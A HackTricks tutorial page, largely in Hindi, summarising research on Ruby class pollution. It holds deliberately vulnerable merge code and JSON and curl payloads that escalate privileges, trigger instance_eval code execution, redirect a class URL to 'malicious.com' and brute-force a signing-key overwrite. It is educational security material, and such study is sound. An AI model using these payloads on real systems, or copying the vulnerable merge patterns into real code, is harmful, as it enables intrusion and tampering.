Ruby Class Pollution

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

यह https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html से पोस्ट का सारांश है

Merge on Attributes

उदाहरण:

# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
# Comments added to exploit the merge on attributes
require 'json'


# Base class for both Admin and Regular users
class Person

attr_accessor :name, :age, :details

def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end

# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end

# Authorize based on the `to_s` method result
def authorize
if to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end

# Health check that executes all protected methods using `instance_eval`
def health_check
protected_methods().each do |method|
instance_eval(method.to_s)
end
end

private

# VULNERABLE FUNCTION that can be abused to merge attributes
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|

if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end

protected

def check_cpu
puts "CPU check passed."
end

def check_memory
puts "Memory check passed."
end
end

# Admin class inherits from Person
class Admin < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end

def to_s
"Admin"
end
end

# Regular user class inherits from Person
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end

def to_s
"User"
end
end

class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)

# Instantiate a regular user
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)


# Perform a recursive merge, which could override methods
user.merge_with(additional_object)

# Authorize the user (privilege escalation vulnerability)
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize

# Execute health check (RCE vulnerability)
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.health_check

end
end

if ARGV.length != 1
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
exit
end

json_input = ARGV[0]
JSONMergerApp.run(json_input)

Explanation

Privilege Escalation: authorize विधि जांचती है कि to_s "Admin" लौटाता है या नहीं। JSON के माध्यम से एक नया to_s गुण इंजेक्ट करके, एक हमलावर to_s विधि को "Admin" लौटाने के लिए मजबूर कर सकता है, जिससे अनधिकृत विशेषाधिकार मिलते हैं।
Remote Code Execution: health_check में, instance_eval उन विधियों को निष्पादित करता है जो protected_methods में सूचीबद्ध हैं। यदि एक हमलावर कस्टम विधि नाम (जैसे "puts 1") इंजेक्ट करता है, तो instance_eval इसे निष्पादित करेगा, जिससे remote code execution (RCE) होगा।
यह केवल इसलिए संभव है क्योंकि एक vulnerable eval निर्देश उस गुण के स्ट्रिंग मान को निष्पादित कर रहा है।
Impact Limitation: यह भेद्यता केवल व्यक्तिगत उदाहरणों को प्रभावित करती है, अन्य User और Admin के उदाहरणों को अप्रभावित छोड़ देती है, इस प्रकार शोषण के दायरे को सीमित करती है।

Real-World Cases

ActiveSupport’s `deep_merge`

यह डिफ़ॉल्ट रूप से असुरक्षित नहीं है लेकिन इसे कुछ इस तरह असुरक्षित बनाया जा सकता है:

# Method to merge additional data into the object using ActiveSupport deep_merge
def merge_with(other_object)
merged_hash = to_h.deep_merge(other_object)

merged_hash.each do |key, value|
self.class.attr_accessor key
instance_variable_set("@#{key}", value)
end

self
end

Hashie’s `deep_merge`

Hashie’s deep_merge विधि सीधे ऑब्जेक्ट विशेषताओं पर काम करती है न कि साधारण हैश पर। यह विलय में विशेषताओं के साथ विधियों के प्रतिस्थापन को रोकती है कुछ अपवादों के साथ: विशेषताएँ जो _, !, या ? के साथ समाप्त होती हैं, उन्हें अभी भी ऑब्जेक्ट में विलय किया जा सकता है।

एक विशेष मामला विशेषता _ है जो अपने आप में है। केवल _ एक विशेषता है जो आमतौर पर एक Mash ऑब्जेक्ट लौटाती है। और क्योंकि यह अपवादों का हिस्सा है, इसे संशोधित करना संभव है।

नीचे दिए गए उदाहरण को देखें कि कैसे {"_": "Admin"} पास करने पर _.to_s == "Admin" को बायपास किया जा सकता है:

require 'json'
require 'hashie'

# Base class for both Admin and Regular users
class Person < Hashie::Mash

# Method to merge additional data into the object using hashie
def merge_with(other_object)
deep_merge!(other_object)
self
end

# Authorize based on to_s
def authorize
if _.to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end

end

# Admin class inherits from Person
class Admin < Person
def to_s
"Admin"
end
end

# Regular user class inherits from Person
class User < Person
def to_s
"User"
end
end

class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)

# Instantiate a regular user
user = User.new({
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
})

# Perform a deep merge, which could override methods
user.merge_with(additional_object)

# Authorize the user (privilege escalation vulnerability)
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
end
end

if ARGV.length != 1
puts "Usage: ruby hashie.rb 'JSON_STRING'"
exit
end

json_input = ARGV[0]
JSONMergerApp.run(json_input)

Poison the Classes

निम्नलिखित उदाहरण में Person क्लास, और Admin और Regular क्लासें जो Person क्लास से विरासत में मिली हैं, को ढूंढना संभव है। इसमें एक और क्लास है जिसे KeySigner कहा जाता है:

require 'json'
require 'sinatra/base'
require 'net/http'

# Base class for both Admin and Regular users
class Person
@@url = "http://default-url.com"

attr_accessor :name, :age, :details

def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end

def self.url
@@url
end

# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end

private

# Recursive merge to modify instance variables
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
end

class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
end

# A class created to simulate signing with a key, to be infected with the third gadget
class KeySigner
@@signing_key = "default-signing-key"

def self.signing_key
@@signing_key
end

def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
end

class JSONMergerApp < Sinatra::Base
# POST /merge - Infects class variables using JSON input
post '/merge' do
content_type :json
json_input = JSON.parse(request.body.read)

user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)

user.merge_with(json_input)

{ status: 'merged' }.to_json
end

# GET /launch-curl-command - Activates the first gadget
get '/launch-curl-command' do
content_type :json

# This gadget makes an HTTP request to the URL stored in the User class
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end

# Curl command to infect User class URL:
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge

# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
get '/sign_with_subclass_key' do
content_type :json

# This gadget signs data using the signing key stored in KeySigner class
signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")

{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
end

# Curl command to infect KeySigner signing key (run in a loop until successful):
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done

# GET /check-infected-vars - Check if all variables have been infected
get '/check-infected-vars' do
content_type :json

{
user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end

run! if app_file == $0
end

Poison Parent Class

इस पेलोड के साथ:

curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge

यह संभव है कि Person पैरेंट क्लास के @@url एट्रिब्यूट के मान को संशोधित किया जाए।

अन्य क्लासेस को ज़हर देना

इस पेलोड के साथ:

for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done

यह संभव है कि परिभाषित कक्षाओं को ब्रूट-फोर्स किया जाए और किसी बिंदु पर कक्षा KeySigner को ज़हरीला किया जाए, signing_key के मान को injected-signing-key द्वारा संशोधित किया जाए।\

संदर्भ

https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

PreviousJNDI - Java Naming and Directory Interface & Log4Shell NextDomain/Subdomain takeover

Last updated 11 days ago

Merge on Attributes

Explanation

Real-World Cases

ActiveSupport’s deep_merge

Hashie’s deep_merge

Poison the Classes

Poison Parent Class

अन्य क्लासेस को ज़हर देना

संदर्भ

Merge on Attributes

Explanation

Real-World Cases

ActiveSupport’s deep_merge

Hashie’s deep_merge

Poison the Classes

Poison Parent Class

अन्य क्लासेस को ज़हर देना

संदर्भ

ActiveSupport’s `deep_merge`

Hashie’s `deep_merge`

ActiveSupport’s `deep_merge`

Hashie’s `deep_merge`